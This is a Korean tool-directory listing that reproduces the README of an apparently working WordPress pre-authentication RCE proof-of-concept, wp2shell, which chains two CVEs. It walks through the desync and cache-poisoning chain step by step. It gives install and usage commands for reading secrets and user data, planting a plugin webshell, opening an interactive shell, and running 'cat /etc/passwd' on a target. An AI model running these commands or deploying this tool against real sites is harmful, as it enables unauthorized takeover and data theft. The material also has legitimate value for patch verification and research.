Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137용 PoC, 일명 WP2Shell | Kitploit
도구/GitHubGitHub/crypto-cat/wp2shell
Vulnerability ScannersCode AnalysisExploitationWeb SecurityLearning & Education
GitHubcrypto-cat/wp2shell

wp2shell

CVE-2026-63030 + CVE-2026-60137용 PoC, 일명 WP2Shell

저장소 보기
3551개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wp2shell

WordPress 6.9.0–6.9.4 및 7.0.0–7.0.1에 대한 인증 전 원격 코드 실행입니다.

CVE-2026-63030(배치 경로 혼동 SQLi)을 CVE-2026-60137(커스터마이저 체인지셋 재진입)과 연결하여 인증 없는 관리자 생성 및 OS 명령 실행을 달성합니다. 비밀번호 크래킹이 필요 없습니다.

wp2shell 데모

이 발견은 hashkitten의 공로입니다. 전체 SLCyber 기술 분석은 여기에서 읽을 수 있습니다.

취약점

WordPress의 REST API 배치 프로세서(serve_batch_request_v1)에는 off-by-one 인덱싱 버그가 있습니다: wp_parse_url()이 하위 요청 경로에서 실패하면 결과로 생성된 WP_Error가 $validation[]에는 푸시되지만 $matches[]에는 푸시되지 않습니다. 이로 인해 두 배열의 동기화가 깨지며, 이후의 모든 요청이 잘못된 핸들러로 디스패치됩니다.

신중하게 구조화된 배치를 다른 배치 안에 중첩시킴으로써 공격자는 다음을 수행할 수 있습니다:

  1. 한 엔드포인트의 스키마로 검증된 요청을 완전히 다른 엔드포인트의 콜백으로 라우팅
  2. author__not_in을 통해 검증되지 않은 SQL 주입 (string→array 캐스트가 absint()를 건너뜀)
도구 다운로드
  • UNION SELECT를 사용해 가짜 포스트 객체로 WordPress 객체 캐시를 오염
  • 권한을 상승시키는 체인지셋 자동 게시를 트리거한 다음 관리자 컨텍스트로 REST API 재진입
  • 설정이 완료되면(테이블 접두사 및 관리자 ID 발견) 에스컬레이션 페이로드가 단일 HTTP 요청으로 발사됩니다. 캐시 오염, 권한 상승, 사용자 생성이 모두 서버 측에서 한 번의 왕복으로 발생합니다.

    체인 작동 방식

    root@kitploit:~
    HTTP POST /batch/v1
        │
        ▼
    ┌─ Outer Batch ───────────────────────────────────────────────────────┐
    │                                                                     │
    │  [0] ///                  → parse error, not added to $matches      │
    │  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
    │  [2] POST /batch/v1       → $matches[1] (batch handler)             │
    │                                                                     │
    │  Desync: request[1] dispatched via $matches[1]                      │
    │          POST /wp/v2/posts body interpreted as batch → inner fires  │
    │                                                                     │
    └──────────────────────────────────────┬──────────────────────────────┘
                                           │
        ┌──────────────────────────────────┘
        ▼
    ┌─ Inner Batch ───────────────────────────────────────────────────────┐
    │                                                                     │
    │  [0] ///                            → parse error (desync)          │
    │  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
    │          ▲ WP_Query fires UNION, poisons object cache               │
    │          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
    │              → changeset published → admin context set              │
    │              → nav_menu_item UPDATE → hierarchy Loop 2              │
    │                  → parse_request → REST re-entry ─────────────┐     │
    │                                                               │     │
    │  [2] GET  /wp/v2/posts              (categories handler)      │     │
    │  [3] GET  /wp/v2/categories         (users handler)           │     │
    │  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
    │          ▲ desync aligns this with users handler                    │
    │          ▲ admin context → user created → die()                     │
    │  [5] POST /wp/v2/users  {}          (desync spacer)                 │
    │                                                                     │
    └─────────────────────────────────────────────────────────────────────┘
    

    캐시 오염 (UNION을 통한 가짜 포스트 7개):

    • 콘텐츠에 [embed] 숏코드가 있는 트리거 포스트
    • 체인지셋 포스트 (customize_changeset, 상태 future, 과거 날짜)
    • 외부 루프 파트너 (parent=changeset, 루프 1 생성)
    • oEmbed 대상 (동적 재귀 방지 ID, parent=changeset, 빈 콘텐츠)
    • 내비게이션 메뉴 항목 포스트 (is_nav_menu_item 검사를 위해 post_type=nav_menu_item으로 오염)
    • 재진입 포스트 (post_type=request, post_status=parse, parent=inner)
    • 내부 루프 파트너 (parent=re-entry, 루프 2 생성)

    실행 흐름:

    1. UNION이 7개의 가짜 포스트로 객체 캐시를 오염
    2. 포스트 핸들러가 트리거 포스트의 콘텐츠를 렌더링 → [embed] 숏코드 발동
    3. oEmbed 캐시 조회가 빈 콘텐츠의 백킹 포스트를 찾음 → wp_update_post로 폴스루
    4. wp_update_post가 캐시된 체인지셋(parent=outer)을 읽음 → 계층 검사가 루프 1 감지
    5. 픽스업이 체인지셋을 future 상태로 DB에 기록 → 자동으로 publish로 변환
    6. _wp_customize_publish_changeset 발동 → wp_set_current_user(admin_id) → 관리자 컨텍스트 활성화
    7. 체인지셋이 nav_menu_item[real_id] 처리 — 캐시가 type=nav_menu_item으로 표시 → UPDATE 경로
    8. object_id가 post_parent=re-entry인 캐시된 포스트로 확인 → 실제 포스트에 대해 wp_update_post 실행
    9. 계층 검사(0이 아닌 $post_id)가 루프 2(re-entry ↔ inner) 감지
    10. 픽스업이 wp_update_post(re-entry) 호출 → type=request, status=parse를 DB에 기록
    11. wp_transition_post_status가 do_action("parse_request") 발동 → rest_api_loaded() → serve_request()
    12. REST API가 재진입하여 전체 배치를 관리자 권한으로 다시 처리
    13. 꼬리의 POST /wp/v2/users 성공 → 관리자 생성 → die()

    재귀 방지 MySQL 세션 변수(@_wp2s)는 체인이 정확히 한 번만 발동하고 반복되지 않도록 보장합니다.

    기능

    • 자동 감지가 포함된 3가지 추출 모드: UNION (값당 요청 1회), EXTRACTVALUE 기반 오류 (~요청당 30자), 부울 블라인드 이진 탐색 (~문자당 요청 7회)
    • 완전한 인증 전 RCE — 자격 증명 불필요, 크래킹 불필요, 에스컬레이션이 한 번의 왕복으로 발동
    • 자동 발견 — INFORMATION_SCHEMA를 통한 테이블 접두사, capabilities 메타를 통한 관리자 사용자 ID
    • 사후 익스플로잇 — 토큰 인증이 포함된 플러그인 웹셸, CWD 추적 대화형 셸, 파일 읽기/쓰기
    • 정리 모드 — --cleanup은 종료 시 생성된 사용자를 삭제하고 웹셸을 제거
    • 의존성 제로 — stdlib만 사용, 단일 파일, Python 3.8+에서 실행

    설치

    root@kitploit:~
    git clone https://github.com/Crypto-Cat/wp2shell.git
    cd wp2shell
    chmod +x wp2shell.py
    

    pip install도 virtualenv도 필요 없습니다. 단일 파일입니다.

    사용법

    대상이 취약한지 확인

    root@kitploit:~
    # Passive boolean oracle test
    python3 wp2shell.py check http://target.com
    
    # Also confirm with timing and UNION
    python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
    

    데이터 추출

    root@kitploit:~
    # Auto-selects fastest technique (UNION > error > blind)
    python3 wp2shell.py read http://target.com --preset users
    python3 wp2shell.py read http://target.com --preset secrets
    python3 wp2shell.py read http://target.com --query "SELECT @@version"
    
    # Force a specific technique
    python3 wp2shell.py read http://target.com --technique blind --preset users
    
    # Auto-discover table prefix
    python3 wp2shell.py read http://target.com --auto-prefix --preset users
    

    전체 익스플로잇

    root@kitploit:~
    # Exploit and drop into interactive shell
    python3 wp2shell.py exploit http://target.com -i
    
    # Exploit, run one command, clean up
    python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
    
    # Skip auto-discovery if you know the prefix
    python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
    
    # Through a proxy (Burp, mitmproxy, etc.)
    python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
    

    인증된 셸 (기존 자격 증명 사용)

    root@kitploit:~
    python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
    

    전체 RCE 요구 사항

    check 및 read 명령은 영향받는 모든 대상에서 작동합니다. exploit 체인에는 세 가지 추가 요구 사항이 있습니다:

    요구 사항이유기본 WP?
    게시된 포스트가 하나 이상oEmbed가 임베드 처리를 트리거하려면 로컬 URL이 필요합니다예 (Hello World)
    영구 객체 캐시 없음UNION 행이 유지되려면 split-the-query가 비활성화되어야 합니다예 (파일 캐시 기본값)
    REST API 접근 가능parse_request를 통한 재진입에는 REST 서버가 필요합니다예
    직접 파일시스템 쓰기플러그인 업로드에는 FS_METHOD=direct 또는 wp-content를 소유한 PHP가 필요합니다예 (대부분의 호스트)

    대상이 객체 캐시로 Redis 또는 Memcached를 사용하는 경우 per_page와 관계없이 split_the_query가 강제로 활성화되고, ID 전용 조회 중에 UNION 행이 폐기됩니다. read 명령은 여전히 작동하지만(블라인드 추출은 UNION이 캐시에 유지될 필요가 없음) exploit은 실패합니다.

    영향받는 버전

    브랜치취약 버전수정 버전
    6.9.x6.9.0 – 6.9.46.9.5
    7.0.x7.0.0 – 7.0.17.0.2

    이 패치는 오류 케이스에 $matches[] = $single_request;를 추가하고(off-by-one 수정) serve_request()에 재진입 가드를 추가합니다.

    아키텍처

    root@kitploit:~
    wp2shell.py (single file, ~1650 lines)
    ├── Client          HTTP transport with batch URL negotiation
    ├── Desync          Nested batch payload construction
    ├── BlindExtractor  Boolean binary search (universal)
    ├── UnionExtractor  In-band via forged post_title (fastest)
    ├── ErrorExtractor  EXTRACTVALUE-based (intermediate)
    ├── PoisonGraph     Hierarchy loop structure for cache poisoning
    ├── Exploiter       Chain orchestration (seed → extract → escalate)
    └── AdminSession    Authenticated session, webshell, cleanup
    

    기술 세부 사항

    소스 경로로 /wp/v2/widgets를 사용하는 이유?

    Widgets 컨트롤러는 엔드포인트 스키마에 per_page, orderby, author_exclude를 등록하지 않습니다. 이러한 매개변수는 검증을 그대로 통과합니다(알 수 없는 매개변수는 스키마 검증기가 무시합니다). 디싱크가 이 요청을 Posts 컨트롤러로 디스패치하면 이러한 원시 값들이 WP_Query로 직접 흘러 들어갑니다.

    per_page=500을 사용하는 이유?

    class-wp-query.php:3375 — split_the_query는 !empty($limits) && posts_per_page < 500을 요구합니다. per_page=500이면 500 < 500 조건이 거짓이 되므로 split_the_query가 비활성화됩니다. 전체 쿼리(UNION 포함)가 단일 문으로 실행되고, 주입된 모든 행이 결과 집합과 캐시에 유지됩니다.

    nav_menu_item[real_id](양수 ID)를 사용하는 이유?

    양수 포스트 ID를 사용하면 nav-menu.php:614의 UPDATE 경로로 진입하여 0이 아닌 $post_id로 wp_update_post를 호출합니다. 이는 post.php:8070의 wp_check_post_hierarchy_for_loops가 $post_id = 0(새 포스트)일 때 조기 반환하기 때문에 중요합니다. 해당 ID에 대해 캐시가 post_type=nav_menu_item으로 오염되어 is_nav_menu_item()이 nav-menu.php:426의 타입 검사를 통과합니다. 그런 다음 UPDATE 경로가 루프 2를 감지하는 계층 검사를 트리거합니다.

    계층 루프가 두 개인 이유?

    루프 1(체인지셋 ↔ outer)은 체인지셋 게시를 트리거하고 관리자 컨텍스트를 설정합니다. 루프 2(re-entry ↔ inner)는 관리자 창 동안(체인지셋 게시 루프에서 내비게이션 메뉴 항목 설정의 save() 호출 내부) 발동하여 parse_request → REST 재진입을 트리거합니다. 루프 2의 픽스업이 3581행의 관리자 창 동안 재진입 포스트를 DB에 기록해야 하며 3589행의 리셋 이전이어야 하므로 두 루프는 독립적입니다.

    면책 조항

    이 도구는 승인된 보안 테스트 및 연구 목적으로 배포됩니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

    크레딧

    CryptoCat의 연구 및 개발.